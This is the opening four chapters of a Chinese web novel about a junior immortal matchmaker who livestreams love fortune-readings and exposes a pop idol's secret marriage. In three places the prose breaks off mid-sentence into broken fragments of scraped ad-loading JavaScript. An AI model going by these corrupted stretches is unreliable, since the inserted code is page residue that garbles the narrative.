《职业月老,在线拆婚》 1. 第 1 章 “凡间守则之三:所有仙力均被天地规则压制,除职能相关外……月仙大人!您在听吗!” 朝天门。 镜面般澄澈的水光路面掩映在成片的云雾之中,这些由水镜弥散而出、延漫至人小腿处的白色云雾由至纯灵力组成,仅是站立其中,便有提神醒目,消解疲劳的效果。 不仅美观,而且实用。 这也是莺芝每每加班后,最喜欢到上天庭公园里小睡一觉、从而薅上一把的羊毛。 但此时,莺芝却是完全顾不上感慨这些的。 她站在朝天门后长长的队伍中,不时从怀中拿出块刻写着时间的圆形玉盘看一眼,又踮起脚,往队伍最前望去。 “嗯嗯嗯,在听,在听……”收回视线,莺芝口中随意应着,又微微皱眉,低声自语,“这么多人下凡,大家都不工作吗?也并非休息日啊。” 在她的肩膀上,一个小小的由红线缠围成轮廓的人形“物体”,看起来颇为吃力地捏着一张远超它体型的纸张,那张仅仅只由两粒红豆浮空组成眼睛的脸上,显露出了名为无奈的情绪: “月仙大人——!!” “刚刚那位守卫大人亲自交代的,这是天庭给每位下凡仙人的《凡间守则》,每位下凡的仙人都要熟记,您这样不在意,等下下凡会遇到麻烦的!” “我并非不在意,我是着急。”被吼了一顿的莺芝温声温气地解释,“我只想尽快下凡,探查究竟是怎么回事,找出问题,然后解决问题。” 她原先只是凡间的一只莺鸟,得了造化得以登天。 然而天庭仙灵没有万万千万也有百十万,像她这样仙力低、出身低、潜力低——简称“三低”的小仙灵,是不可能一来就有什么好工作的。 所以,这数千年间,莺芝先后换过无数的工作,从最低级的开始,一步步往上走。好在她对待每一份工作都尽心尽力,在各大殿小殿的用人主事那里都口碑不错。 终于,有朝一日,她接到了自己升任了一殿主事的通知。 ——姻缘殿。 顾名思义,就是掌世间姻缘的部门。 对于在各个职位辗转的小职员仙人来说,来到姻缘殿,成为红线仙,简直是一步登天。 然而,来到姻缘殿后,莺芝只是草草翻阅了一下工作日志,就完全高兴不起来了。 ——据日志记载,近几届来的天庭各部门业绩评比,姻缘殿都是倒数! 在天庭评比中,蝉联倒数次数过多的部门,是会渐渐被边缘化、降低待遇降低一切,从而渐渐淡出大家视野,最终被关闭的。 好不容易升职,却来了个濒临关闭的部门? 莺芝当即一拍案桌。 不行,她不允许! 这可是好不容易得来的大好饭碗,怎么能就这么放任它被打碎? 综合考虑后,她决定下凡去看看到底是什么情况。 至于为什么是凡间,而不是在天庭就地展开问卷调查——虽然促成一桩仙神的姻缘能够得到的绩效顶得上凡间多起,但天庭这些老神仙们,谁不是活了百千年的?该有老伴的都有了,没有的那就是真的不需要,没有她发挥的余地。 何况,天庭仙神是否强大,从根本上说,吃的还是凡间的信仰和香火。如今姻缘殿落得个绩效倒数的地步,源头还得从凡间找。 所以无论如何,这一趟都必须得走。 “着急也没有用啊,时玉都快被您摸出裂口了,这队伍不是还没前进多少么?要我说,这就正是让您好好阅读《凡间守则》的机会……” “这是噎鸣殿出品的时玉,质量很好,不会出裂口。”莺芝下意识解释,又补充,“这是我当初花了一旬的工资购买的……若是轻易坏掉,我会找噎鸣殿索要赔偿的。” 这不大不小的声音不仅被红线小人听到了,也让排在莺芝前面的那个仙人忍不住笑了两声。 红线小人:“……月仙大人!!” 干咳一声,莺芝投降:“好好,你说你说。” 红线小人没有表情,但那张纸被它抖得哗啦啦作响,充分表示着它的情绪:“我不读了,您自己看吧!” 察觉到小助手在闹脾气,莺芝摸摸鼻子,亲自拿过了那张纸,一目十行地浏览起来。 “时间流速调整为1:1……如今凡间一天天上也一天了?” “早就这样了!现在凡间发展太快了——” “到了凡间仙力体制均会被压制,法术大多没法用,职能相关可以,本身的天赋也可以,根据效果会有不同的限制……唔,这好懂。不能伤害凡间之人,呃,若是他们打我呢?” “……没有人会无缘无故打你的!”红线小人在莺芝肩膀上瘫下,无语望天,“凡间现在也是法治社会了!” “噢。”莺芝颔首,继续往下看,“……非人仙灵不能在大众面前露出本体,避免引起恐慌……嗯,也合理。” 不一会儿,她把纸张卷起来,随手丢进了腰间的收纳荷包:“看完了。” 红线小人没有怀疑她话语的真实性,毕竟这位新上司,对待自己应承过的事,都不会敷衍了事。 放下心来,它转而说起别的: “月仙大人,要我说,指不定是凡间现在很多人改信了其他司掌姻缘的神仙……” “别的司掌姻缘的仙?”莺芝一愣,“天庭不是只有我们一个姻缘殿吗?” 红线小人“哎呀”一声:“我是说——我也是听别人说,就那个谁嘛,什么丘某特,维某斯……” 莺芝听得一头雾水。 这都谁跟谁? 难道她与世隔绝太久,所以孤陋寡闻了? 见状,红线小人顿时来了劲头,扒拉着莺芝的耳朵嘀嘀咕咕开始讲它从各处听来的故事。 直到那巨大华美的朝天门终于近在眼前,前边的仙人走进下凡的云海,它才依依不舍地住了口,到莺芝耳边,化成了一个缀着两粒红豆的红绳耳饰。 登记完姓名和所属宫殿,拿好下凡的文书资料,莺芝在守卫摊开的地图上选了一处拥有“月老像”的庙宇后,提步走进了那团看不到尽头、似乎能把整个人都吞进去的白色云海。 自登天后,这还是她第一次下凡。 但莺芝却并不忐忑。 ——为了来之不易的饭碗,万事皆可平啊! …… 脚下软绵如棉花的质感没有持续太久,几步之后,周围的云雾便倏地稀薄,渐转淡薄而后散去。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>与此一同兴起的,是潮水般涌来的声音。 一波接一波,不间断地喧闹着。 人声鼎沸。 莺芝选择的这座庙宇,位于庙宇聚集最多、神像最多最齐全的一处城市,据莺芝猜测,这种地方,即便不是都城也是大城市。 而这一下来,果然便被如此这般多的人和声音给砸了满脸。 “果然是‘人间烟火’啊……” 从树下角落走出,看着攒动的人头,嗅着充斥鼻间的香火气,莺芝忍不住暗慨。 天庭向来是个清净地,即便是宴会,也没有这么热闹的。 那么,问题来了,来庙里的人这——么多,为什么姻缘殿还是那么点业绩?! 莺芝整理了一下想法,立刻进入工作状态,不再被这热闹的景象扰动神思,依靠现任“红线仙”与距离最近的“月老像”之间的感应,朝着庙宇后方走去。 红瓦的长廊尽头的圆形拱门后,连接着一个大大的院落。 院中种着多棵碗口粗的树木,不算太大的树木枝干却不小,在当前的额季节中,绿荫如盖,显然被庙里养得极好。 莺芝视线扫过一圈,最后落在了这些错落排布的树木上。 据她的感应,这个庙的月老像就在后边那排屋子的某一间。 但…… 她再次一一看过这些树木。 树木交错的枝丫上,挂着无数的红绳和木牌。 莺芝知道,这象征着人们的心愿和祈祷,这些树,就是承载着人们心愿的树木。 这许许多多许许多多木牌红绳,眼前每棵树上都有——但却不是每棵树上都一样多。 莺芝定定站在人潮之中,视线落到了面前这棵树上。 [真爱降临] 再看树冠—— 红绳挂得稀稀落落,木牌零落啪啪嗒嗒。 上边的绳子多是被风雨吹打脱了色的,木牌也露出些斑驳痕迹,完全崭新的也有,但整体看上去,多数掩映在树叶之下,数量不算多,尤其在隔壁、以及隔壁的隔壁,甚至再往隔壁…那几棵树的映衬下,更显可怜。 [真爱降临]的旁边,和旁边的旁边,是[财运亨通]、[身体健康]。 挂有这两个标识的树木,此刻红绳满载,压得偏纤细处的枝干都有些垂落变形,已然是不堪重负。 即便如此,每个到这里的香客,都仍然会在祈祷后,毫不犹豫把手中木牌扔上去。 和这两棵香火归属于财神殿和药王殿的树一比,自家这棵树就真的可以说是“空空如也”了。 莺芝凝望着那几棵树,被动陷入了沉思。 身边,扔木牌祈愿的香客人来人往,谁也没觉得这么个穿着“汉服”的年轻女孩站在这里一动不动有什么不妥,都礼貌地绕过她,该往哪走往哪走。 莺芝倏地四顾。 和记忆中来庙宇的人群不同,来上香祈愿的群体中,不再全是上了年纪的让人,反而多是青年。 后知后觉察觉到这一点,莺芝感觉自己隐约摸到了点边边——为什么姻缘殿香火寥寥,业绩垫底的边边。 但,这个猜测又让她忍不住嘴角一抽。 ……现在的年轻人,这么现实吗? 2. 第 2 章 沉默过后,莺芝思绪渐渐清晰。 姻缘殿绩效差不是什么能够轻易改变的人为因素,而是客观原因——现在凡间的年轻人们,比起真爱,他们更愿意选择暴富健康学业等。 曾经遥远过去话本里那些“山无棱江水为竭,天地合乃敢与君绝”的事,便只停留在了故事里。 虽然对于一位神仙来说,这太现实了,现实到让仙失业!但是……很难不理解。 莺芝盯着姻缘树,目光幽幽。 这份过于沉重的现实虽然不至于让她这个新上任的红线仙就此生出绝望,折戟认命,却让她忍不住想叹口气。 “唉……” 一声轻叹传入耳畔,莺芝猛地转头。 她虽然想叹气,但还没叹呢啊,这是谁替她叹了? 人流涌动,莺芝的视线却没有丝毫犹疑地落到了数十米外,一位面对着祈愿树,面露愁苦之色的年轻男人身上。 那人穿着简单的T恤长裤,一头利落的短发,从外表看就是个普通的符合当下时代穿着打扮的凡人,但莺芝却在他身边看到了朦朦胧胧的白色雾气——那是仙人下凡时在天庭留档,被动带上的标记。 原来是位同僚。 莺芝心有所感,顺着他的目光看去。 [学业有成][早生贵子] 两颗大树并列而立。 [学业有成]在[身体健康]旁边,那树冠上红绳木牌的数量,是让莺芝多看一眼都觉得冒酸水的地步,而旁边的[早生贵子]—— 一看之下,莺芝心里一跳。 这送子观音树的“愿望”,比姻缘树还少……在影影叠叠的树叶下,都几乎看不见红色了。 再看那唉声叹气的男仙,莺芝目光里都带了些怜悯。 天哪,凡界遇同僚,竟是难姐难弟。 同样快要倒闭的部门,同样的小职……哦她不是小职员了、但这不重要。 莺芝走上前去,跟这位同病相怜的同僚打了个招呼。 “你也看香火?”她问候道,“哎,现实啊……着实是太沉、咦,是你。” 这一走近,看到了脸她才发现,这人竟然是排队时站在他前边一位的那个。 原来他是送子观音殿的啊。 ……太惨了。 莺芝忍不住摇头。 男仙闻声转过头来,见到是莺芝,他似乎也想起了刚刚在朝天门排队时的一面之缘,唏嘘道:“是啊,太沉重了……” 他脸上的愁苦不似作伪,真心实意的惆怅叹息,让莺芝更加心有戚戚。 两仙纷纷沉默哀叹。 片刻后,莺芝问道:“你不是首次下……来吧?” 排队时两人分明一前一后,但那个巡卫却只给她发了一份《凡间守则》,跳过了他;而且,这才刚刚下来,她还穿着天庭仙子们的制服呢,他就已经非常入乡随俗了,这份熟稔,怎么看都是相当有经验的了。 一句话问出口,不等对方回应,她便继续道:“我是姻缘殿的莺芝,怎么称呼?不瞒你说,我是初次下…来,很多事情都不是很了解——咳,类似你我这等情况,一般来说,要怎样才能救一救?” “…文隽。”男仙先是微微一顿,似乎被她的自来熟惊到,听清问题,又叹息着开了口,“救?没得救……” 他摇了摇头:“如果把这比作一道题目,那么,接受现实就是唯一的解法。” 听他语气里满满的怠惰之意,莺芝不赞同道:“事在人为,不要轻言放弃。” 好歹也是神仙,垫底把自己斗志垫没了怎么行。 这么没志气呢? 文隽被她这温声细语、半示警半激励的一句说得明显有些失语。 默默看了她一眼,他长长叹了口气:“……你说得也对。” 仰望着情状天差地别的几棵祈愿树,莺芝脑子飞转,口中不停。 “虽然像我们这种情况、是当下大势所趋,但好歹也是可以努力的,许多大事都是由一桩桩一件件的小事组成,千里之行也始于足下第一步——” 突然,她灵光一闪:“你……很熟悉下边对吧?那有没有、嗯,有没有什么途径,能够让更多人看到我们的事迹?” 文隽讶异:“我们有什么事迹?” “……重要的是那里吗?”莺芝有点无奈,但还是仔仔细细地解释道,“暂且先拿姻缘殿做例——如今姻缘殿香火之差,很大程度上是因为人们不再信任‘爱’。所以为了让人们重新燃起对爱的期冀,我接下来必然要去做一些事。那么,若我发现了一对情比金坚的有情人,该怎样让更多人知道、世上还有这样的感情?若他们需要历经很多磨难,那在他们向‘月老’祈求、终成眷属后,又该怎样让更多人知道这件事呢?” 她语速稍微有些快,但吐字却极其清晰,在天生就要悦耳几分的嗓音加持下,这么多话一股脑下来,也不会让人听得生出什么不耐烦来。 “……”文隽听完,表情明显古怪了一些。 “你……就准备这么‘一桩桩一件件的小事’去做?” 莺芝颔首:“当然。” “……为什么?这又不是你一个人的责任。” 莺芝不解:“这是我的工作。” 文隽“嘶”了一声,屈指敲了敲自己额边的穴位:“你说的也确实能行得通,只要能让更多的人重新相信‘姻缘’——至于扩大影响力……有办法是有办法……” 莺芝精神一振:“什么办法?” 文隽顿了顿,左右四顾了一下,确认周围的香客们没谁注意他们后,把手伸进了明显瘪着的裤子口袋,拿出了个手机来。 莺芝了然。 他把乾坤袋嫁接到了衣服口袋里啊。 文隽在手机上飞快操作了几下,然后把它递到莺芝面前:“就是这个了。” 莺芝看过去,那屏幕上,一个穿长衫的中年男人坐在茶烟袅袅的室内,侃侃而谈着什么。 屏幕的左下方,许多行小字层叠往上摞累。 她侧目:“……这是?” 她没见过。 “咳,他在讲话本。”文隽简单解释了一句,旋即收起手机,扯回话题,“这就是现在下边很流行的,很多人都能看到、影响力很大范围很广的‘手段’。” “这里管这个叫,直播。” 眼看莺芝还有更多的问题要问,而他们已经在这里站了太久,两仙转移了位置。 在文隽的带领下,他们来到了一家奶茶店,以此为临时落脚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地进行接下来的交流。 在莺芝孜孜不倦地追问下,文隽把相关的事情基本都教授了一遍。 终于,感觉自己了解得差不多了,莺芝心满意足停下,神采奕奕起身告辞。 “多谢,真是帮了我大忙——等改日回去,我请你吃灶王殿出品的仙餐!” 文隽已经口干舌燥,捧着冰茶小声叹气:“……不算什么,能帮上你就好。” 真不愧是同病相怜的好同僚! 莺芝心里感慨,冲他一笑:“放心,你那边的事务,我也会替你上点心的,之后直播的时候,我会帮忙宣扬一下你们殿。” “——不不不,不劳烦你了。”文隽连忙摆手,“你事务繁重,不用帮我,我,…我会努力的。” 莺芝赞同:“这才是神仙该有的斗志嘛——那我就不多管闲事了。” “就到这里吧,我去买部手机,就赶紧投入工作了,下次再聊。” 她笑着点头致意,走出去几步,又蹬蹬蹬走回。 “那什么,这里的钱……” 文隽拿出手机:“我先借你。” “太感谢了。”莺芝松口气,伸手。 文隽默默喝完手里的冰茶,起身:“……我带你去吧。” 反正这次下凡也就是喘口气……帮人帮到底吧。 …… 等到手机,钱,临时住处一应找齐、又都安置好后,莺芝千恩万谢送走文隽,嘱咐对方回去可以先去姻缘殿,凭她给的那枚羽毛找留守的“小助手”收“债”。 窗外天际已经是漫上夕阳。 来到凡间后,体质也被压制到了和凡人等同的地步,大半天时间过去,虽然惯性上莺芝仍不觉得“身体需要吃饭”,但隐约的饥饿感却是越来越清晰。 不过,她倒是没急着解决饥饿问题,而是坐回单人间的小沙发上,拿出了手机。 化作耳饰的红线小人已经解除了化形,吭哧吭哧爬上她的脑袋,把着几缕发丝,跟着一起看向手机屏幕。 文隽在走之前,从莺芝那里要来了下凡时守卫发放的文书资料,从中找出了“身份证”,给莺芝注册了她当前亟需的软件账号,又帮着进行了实名认证,确认一切无误后才离开。 现在,莺芝点开屏幕,打开软件,就可以直接进行直播。 “稍后我‘直播’时,你不要出现在里面。” 把手机固定在桌上的支架上,调整着角度,莺芝嘱咐着。 红线小人点点头,非常懂事地从她头上跳下来,跳到了桌上的手机支架边。 它们这种被仙神点化,带有灵性的“非人生灵”,虽然不占单独的下凡名额,但也要遵循《凡间守则》的。 这可是上任姻缘仙以来,第一次正式进行相关的工作—— 姻缘簿、在,点缘笔、在,红线、在,断缘剪……虽然大概率用不上,但也在。 再三确认了从收纳荷包里取出的东西,莺芝语音输入了名字和简介,然后郑重其事点向屏幕。 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 详情:【千里姻缘一线牵,没准落到你身边——免费定缘,缘定三生~走过路过不要错过了诶!】 3. 第 3 章 【您已开启直播,说点什么吧!】 看到直播开启的提示,莺芝下意识又正了正坐姿。 小小的手机屏幕里,面容秀美的女性正襟端坐着。 然而,她轻轻清了清嗓子,正准备说些什么时,眼睛却突然睁大,像是看到了什么,又没能发出声音来。 ——当前直播间人数:0 “说点什么……都没有人在看,说什么别人也听不到啊……”她小声自语。 虽然是开播了,虽然系统也提示了可以开始了,但问题是,直播间里一个人都没有啊。 总不能一直自言自语吧。 想着那位同僚下午时的“教导”,她又耐着性子安心,保持微笑,静静望着屏幕等待着。 文隽似乎有说过,一开始人会很少,得慢慢积累。 而且新人的话,估计会有平台的给的流量。 那就安心等待。 红线小人也注意到了直播间无人事实,它在桌子上坐下,红线弯折起来,红豆做的眼睛溜溜盯着屏幕,跟自家上司一起,等待着观众的到来。 终于,几十个数过去,莺芝看到屏幕下方的小框框里突然跳出了一行字。 【用户:[晚间生物]进入直播间】 还不等莺芝反应过来,又几行字跳了出来。 【用户:[我真没有QAQ]进入直播间】 【用户:[履行摸鱼职责]进入直播间】 【用户:[pinwomingzidebendan]进入直播间】 【用户:[给予她温油ma]进入直播间】 【用户:…… …… 一连串的提示,红线小人噔地蹦起,不敢出声,只能朝着莺芝一个劲挥动红线,无声呐喊:来人了!来人了!! 快说话啊月仙大人! 莺芝哪用得着它提醒,早在看到第一个人进来的时候,她就已经绽开了微笑。 “‘晚间生物’你好,欢、‘我真没有’你好……欢迎各位来到直播间,这里是月老定缘直播间,各位来到这里,如果有需要,可以尽情咨询,所有问询均免费——” 她脸上带着工作时特有的职业化笑容,流畅地说着早已准备好的开场白。 【晚间生物:我去,这是给我干哪来了,刚一打开app就给我分这儿来了,这年头的平台真贱那。】 【晚间生物:哎我去,一进来就听到小姐姐喊我ID,这么温柔呢?好听,喜欢,声音主播?】 【履行摸鱼职责:小姐姐长得好秀气……等等,什么东西……月老?】 【给予她温油ma:所以这是个拉媒的直播间?非x勿扰?百x婚恋?真晦气……走了!】 【我真没有QAQ:什么意思,定缘是什么?月老?所以说,是算姻缘吗?】 …… 一齐涌入的十几人里,有的根本不等莺芝开口就直接点了退出,有的则是听完开场白后留下一句“骗子”扬长而去,其余的则或是因为被莺芝的外貌声音等短暂吸引、又或对她所说的内容有一点点兴趣,亦或是单纯失手点进来,也没什么别的事要做,就多听两句——各种各样的因素作用下,大半的观众没有选择第一时间就立刻离去。 莺芝笑容不变,从容点头:“是的,姻缘可以算。” 姻缘殿执掌世间所有姻缘事宜,算一算,不就是查找一下么,当然也涵盖在职权范围内。 她身上穿着的仍然是下来时的那身,天庭最普通的仙子长裙,粉色的裙裳衬得其面若桃花。 而此时,莺芝虽未施粉黛,没有化妆,但经镜头自带的滤镜磨了一层的外貌依旧清晰,细眉杏目,瞳漆唇红,笑容中自带一股含蓄温婉,声音又悦耳动听,种种加持之下,让人很难生出恶感,第一印象十分不错的同时,又格外想多看上两眼。 此言一出,最开始进入直播间的那位观众就忍不住又发了条弹幕出来。 【晚间生物:小姐姐,你这看着像素颜,我虽然不知道你美颜开了多大,但有这种资质,你完全可以转隔壁颜值区啊。或者去声音区那边,不管是唱歌还是念书配音,都更适合你。】 【晚间生物:算卦什么的……这种玄学看起来跟你不搭边,很难火的。】 为了证明自己无恶意,他还特地送了个小礼物。 【[晚间生物]送出应援棒x1】 直播间观众寥寥数几,发弹幕的更是不多,莺芝不用花什么心思都不会错过任何一条。 她含笑看完这位观众的发言,表情不变地回应道:“谢谢你的建议,但这是我的工作,我必须要做好它。” 晚间生物沉默下来,似乎也被这个朴实无华的答案给噎住了。 直播间里断断续续有人进来,也有人退出,但基于和先前那些观众一样的理由,留下的始终要多于退出的。 再加上莺芝的直播间挂到了新人主播的版块处,一些长期流连在这里的用户看到封面上的莺芝、或直播间标题后,点进来的也不在少数,很快,直播间的观众就突破了半百。 而且,随着时间越来越晚,更多的人结束一天的工作,进入直播间的也越来越多,在线人数没什么波澜地就变成了三位数。 其中,冲着直播间的标题和简介来的不在少数,想着看看热闹或者找个下饭直播什么的。 但即便如此,莺芝这里仍然是在闲聊状态,没有人找她“定缘”,也没有人找她“算姻缘”。 毕竟一个新直播间,什么流程什么情况都还没摸清楚,观望人数必然要大于上前吃螃蟹的。 【[履行摸鱼职责]送出应援棒x1】 【履行摸鱼职责:小姐姐,现在这种时代,线下算卦的都骗不到几个人了,搞这个没前途的呀。而且你还说是免费……】 莺芝笑着谢过这位观众的礼物,依旧是摇头: “我的愿望是看到世间越来越多的有情人终成眷属,所以才会开设这个直播间……” 【柏承哥的真嫂子:主播是听不懂人话吗,那姐妹就差直说了——说你是骗子呢,还扯什么愿望不愿望的。免费免费,说得好听,免费的才是最贵的,谁还不知道你们的套路?】 【柏承哥的真嫂子:真倒霉,打开软件就动了一下就跳进这儿来了,结果还撞上个骗子。】 看完这几行消息,莺芝面有不解:“免费就是免费,任何环节都不收取费用,何来昂贵一说?” 她丝毫没有被观众当场找茬的不悦,语气依旧平和,温声温气地解释: “本直播间可以进行姻缘的测算、预知等一系列定缘相关事宜,所有环节均……嗯、透明公开?不收费的。只不过每日次数有限,具体可以进行几次,要依据定缘的难度来看。” 【柏承哥的真嫂子:笑死我了,还根据难度看,说得跟真的似的,玄乎其乎的。那你说,怎么算?看手相还是面相?解签要不要钱?解签的时候要是想要个‘吉祥’一点的答案,是不是还需要给‘月老’供奉点定金?】 “如果需要定缘,不需要手相,只需把姓、名,生辰八字以及出生地等,以及能够看清五官面相的照片交予我即可。” 莺芝仔仔细细地回答着看到的问题,看到后边,她眼睛微微睁大。 想要个“吉祥”的答案和结果,所以给月老“供奉”? ——这不就是贿赂么! 对该用户这种不正当的行为十分抵触,莺芝眉心微蹙,试图劝说对方放弃这种不正当的念头:“缘分天定,若是命中无缘,强行改缘、即便把红线绑到一起,也是没有用的。强扭的瓜不甜,这等俗语是有一定道理的。何况,‘月老’并不能收受贿赂。” ……收了也没用。 你们凡间的钱,又不能给姻缘殿增添业绩。 还不如一桩称心婚事得来的香火。 想到这,莺芝摇了摇头。 【柏承哥的真嫂子:算个卦要这么多个人资料,查户口啊?盗用户资料?】 【我真没有QAQ:算卦确实要很多详细的资料的,不然没办法确定是你,错一个东西都很可能算到别人身上去,你不懂少说话。】 【晚间生物:我听来听去……不能强行改我能懂,那这个算的还有什么意义?】 莺芝道:“可以得知自己的正缘在何处,也可以得知自己与当前有纠葛的对象是否为正缘,还能为坎坷的感情求取一定的护佑之力……” 【柏承哥的真嫂子:图穷匕见了吧,说吧,卖开光手串还是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 红绳还是姻缘锁的?】 开光手串姻缘锁……姻缘殿还真没有这种东西,以后看情况可以开发一下? 但红绳确实有。 莺芝把弹幕区消息看了又看,被动地把这位三番四次出现的观众ID记在了心里。 她摇头:“不卖。届时若真有需求,去庙中祈求即可。” 【给予她温油ma:……可给我听明白了,原来是跟庙有合作。哪家庙啊这么别出心裁?】 【履行摸鱼职责:你不是走了吗?】 【给予她温油ma:看看都不行?服了,垃圾直播间,什么风气,走了!】 没有理会他们的交流,莺芝一丝不苟地回答道: “没有固定的庙宇。任何一座供奉有月老像、红线娘娘等姻缘司所属的庙宇都可以。” 【晚间生物:听起来真的挺玄……又不要钱又不卖东西,小姐姐,你不会是真的会吧?】 莺芝微笑着,正要回答,熟悉的ID再一次跳了出来。 【柏承哥的真嫂子:还装上瘾了……真当没人敢来拆穿你吗。】 【柏承哥的真嫂子:你要是真的懂,那帮我算算?】 莺芝眉眼弯弯:“好啊。” ……终于有人来尝试了! 大喜过望,她语气越发温柔:“把姓,名,生辰八字,出生地,照片发给我就好。” 屏幕另一端。 见如此这般的为难和拆台,都没能让误入的这个直播间里的小小新主播破功,假笑一直在脸上粘的牢牢的,本来就心情不好的女孩更显出几分不耐。 瞄了一眼手边另一部手机,她烦躁地调出直播间下方的输入法,噼里啪啦一顿操作。 【柏承哥的真嫂子:好啊,我这就给你。但是,我不算我自己,算我的心上人,能算吗?】 【我真没有QAQ:你多少有点病吧,谁家算卦是这么算的?给出自己的生辰八字,让算别人??】 【晚间生物:不喜欢看退出直播间就好了,人家小新人主播也不容易,你这是何必……】 【[晚间生物]送出应援棒x6】 莺芝安静地看完对方发来的消息,又按照下午文隽教过的,去后台确认了一下私聊处对方发来的内容,平静地一点头。 “可以。能。” 【柏承哥的真嫂子:笑死,那你算吧。算算我心上人的姻缘,算算我跟他的可能。我倒要听你能说点什么出来。】 莺芝不气不恼地噙着笑颔首,在镜头拍不到的地方,将摊开的姻缘簿放到手边,以点缘笔在其上凌空书写下刚刚收到的八字。 而后,她闭上眼,脑中回忆着那张照片上的女孩模样。 同一时刻,红线小人解除人形,化作一根红线,凭空升起,在她指尖兀自盘旋轮转。 直播间观众见她就这样闭上了眼,一时都有些好奇,弹幕刷刷出现了不少。 片刻后,莺芝睁开眼。 此番动用了仙力,虽然是职权范围内的,但仍旧有些吃力。 按照这样的强度,估计一天最多也就只能测算个三五次的。 她预估了一下,收了仙力,红线则落回桌面,重新变成人形。 “在那之前,我需要确认的一点是,他、那位姓名共计三个字,年龄二十七岁的男性,是否真的为你的心上人。” 她此言一出,直播间许多人都提起了精神。 屏幕前,听到名字年龄,女孩微微一怔。 旋即,她嗤笑一声。 这又不是什么遮遮掩掩的,猜到也不难。 【柏承哥的真嫂子:是,怎么,猜到了他是谁,所以现在是不敢往下说了?】 莺芝摇头,秀气的眉毛微微皱起,不再有先前那般不管大家怎么说、都从容温和的微笑。 她认真应道:“若他确系为你心上人,那你还是早日断掉这份感情为好,他非你正缘。” 【柏承哥的真嫂子:笑死,一句非正缘就敷衍过去了?】 【柏承哥的真嫂子:你看出来我是粉丝,所以用话术糊弄我呗?】 “我不知道你所说指向什么,但……” 莺芝停顿片刻,轻轻叹了口气: “他已有婚姻。” 4. 第 4 章 ——他已经有了婚姻。 莺芝这句话一出口,整个直播间弹幕都忽地多了起来。 虽然她用词文不文白不白的,听起来像极了为了贴合“人设”刻意凹的风格,但对于大多数观众来说,基本都可以立刻理解,并且非常自主地还对此进行了一系列的延展思考。 所以,无论是纯看乐子的看美女的下饭的还是观望党,都精神一振,突然兴致高涨了起来。 ——你的心上人,已经结婚了! 【我真没有QAQ:我嘞个豆真的假的,真能靠他的信息算出他心上人的?】 【给予她温油ma:是个女的吧?所以跟这个结了婚的男的是暗恋还是已经谈了?】 【骂谁二次元呢:只有我一个人看她ID想到了一个人吗……年龄也对得上……】 【履行摸鱼职责:rbc?】 【晚间生物:在说什么,rbc是什么?】 【骂谁二次元呢:是任柏承。就那个男团的,跟所有队员都能卖一手麸的那个。】 【一只浪迹瓜田的猹:我去我去,这也能给我撞见天降大瓜?快,到底怎么回事,真的是任柏承吗?主包姐姐快说,我要听!】 …… 任柏承,如今内娱top级男团的队长。 当年,观众从他们还是练习生时就关注着,一直到最后的选秀、成团、出道,可以说是看着他们一步步走到今天的。 所以无论是养成系的魅力也好,又或是其他什么原因也罢,近几年来内娱选秀迭代不断,唯一一个从数年前火到现在的男团,也就当数这一个。 而任柏承,凭借一张优越的脸,在练习生时期就是人气top、并在选秀中直接拿下该团体成团名额与队长的位置,出道至今更是团里人气流量都断层的存在,被粉丝们奉为“内娱男团唯一全能ACE”,女友粉妈妈粉cp粉等遍布各个网络平台,堪称顶级流量爱豆。 现在,这个小小的,和男团完全搭不上边的“拉媒”“玄学”直播间里,竟然出现了任柏承的大名——随着讨论吃瓜的声音越来越热,越来越多闻风而来的观众涌了进来。 在一片或猜测或敲碗等瓜的声音中,那位跟莺芝掰扯了半天的观众却并没有第一时间出现回应。 网络另一端,屏幕前。 在刚刚,听到莺芝说出“他有婚姻”后,女生差点笑出来。 已经结婚了? 开什么玩笑。 柏承哥结婚没有她还能不清楚? 这小主播岂不是把脸凑上来给她打么! 然而,还没等她想好要怎么样逻辑缜密一锤子直接把对方砸死,她就看到了弹幕区明晃晃被挂出来的名字,以及越来越多的观众。 她顿时来了火气,噼里啪啦打起字来。 【柏承哥的真嫂子:这么喜欢我哥,都带他大名了,真不怕被告?】 【柏承哥的真嫂子:我哥公司一向告黑很狠,上边提我哥大名的,等律师函吧。】 【柏承哥的真嫂子:还有,主播,你也等着吧,敢空口造谣,真是天堂有路不走,地狱无门自投。】 【柏承哥的真嫂子:我哥出道以来一直洁身自好,连绯闻都没传过,你上来就说他结婚了,笑死我了,你是看不起谁的职业素养呢?】 【柏承哥的真嫂子:退一万步,我哥现在才二十七岁,说人家这个年纪就结婚,诅咒谁呢?】 莺芝:“……” 不是,你这姑娘,说人结婚怎么就是诅咒了? 看不起谁的职业内涵呢? 她有心想要驳斥对方这个观点,但又想起刚刚在姻缘簿中看到的内容,那点小小的不悦顷刻散去,化为一声轻叹,连带看着对方弹幕的眼神中都带了几分怜悯。 “我虽不知你所说的他的职业是什么,但是,从刚刚的、——‘卦象’看,现在与你有所纠葛的这位男性,他确实已有婚姻。” “即便你们的姻缘线有所纠缠,却没有结果。因为,对方的姻缘另在它处——在五年前,他便已与现今的婚姻对象正式建立了婚姻关系。” 顿了顿,莺芝补充了一句,“是他的正缘。” 说到这里,看着弹幕区越来越热烈的讨论,迟迟不见那女生再次出现,她有些不忍。 但,为了让对方认识到事实,她还是继续说道:“所以,我劝你早些断掉,并非只是断掉念想,而是连带你们现在的纠缠一起断掉,这是孽缘。于他而言或许没什么,但对你来说,最终只会伤害到自己。” 【一只浪迹瓜田的猹:真的假的……任柏承隐婚?他事业运那么好,怎么可能。虽然很劲爆,但是感觉没什么可信度啊,很像随口一说的造谣】 【我真没有QAQ:我倒是觉得有一定可信度,毕竟主播说得有理有据,连什么时候结的婚都给出来了,很像是真的会算的。】 【晚间生物:虽然我没听太明白这是说谁,但是,小姐姐之前是说了对面那男的27岁是吧?五年前……合着是一到法定结婚年龄就立马领证了?】 【骂谁二次元呢:不仅如此吧,听主播的意思,rbc还跟上边算卦的那女生不清不楚的】 【柏承哥的真嫂子:你有病啊!?】 另一端,抱着手机看直播的女生这下彻底是发了火。 造谣柏承哥已经结了婚,说他们是孽缘也就算了,她都能忍。 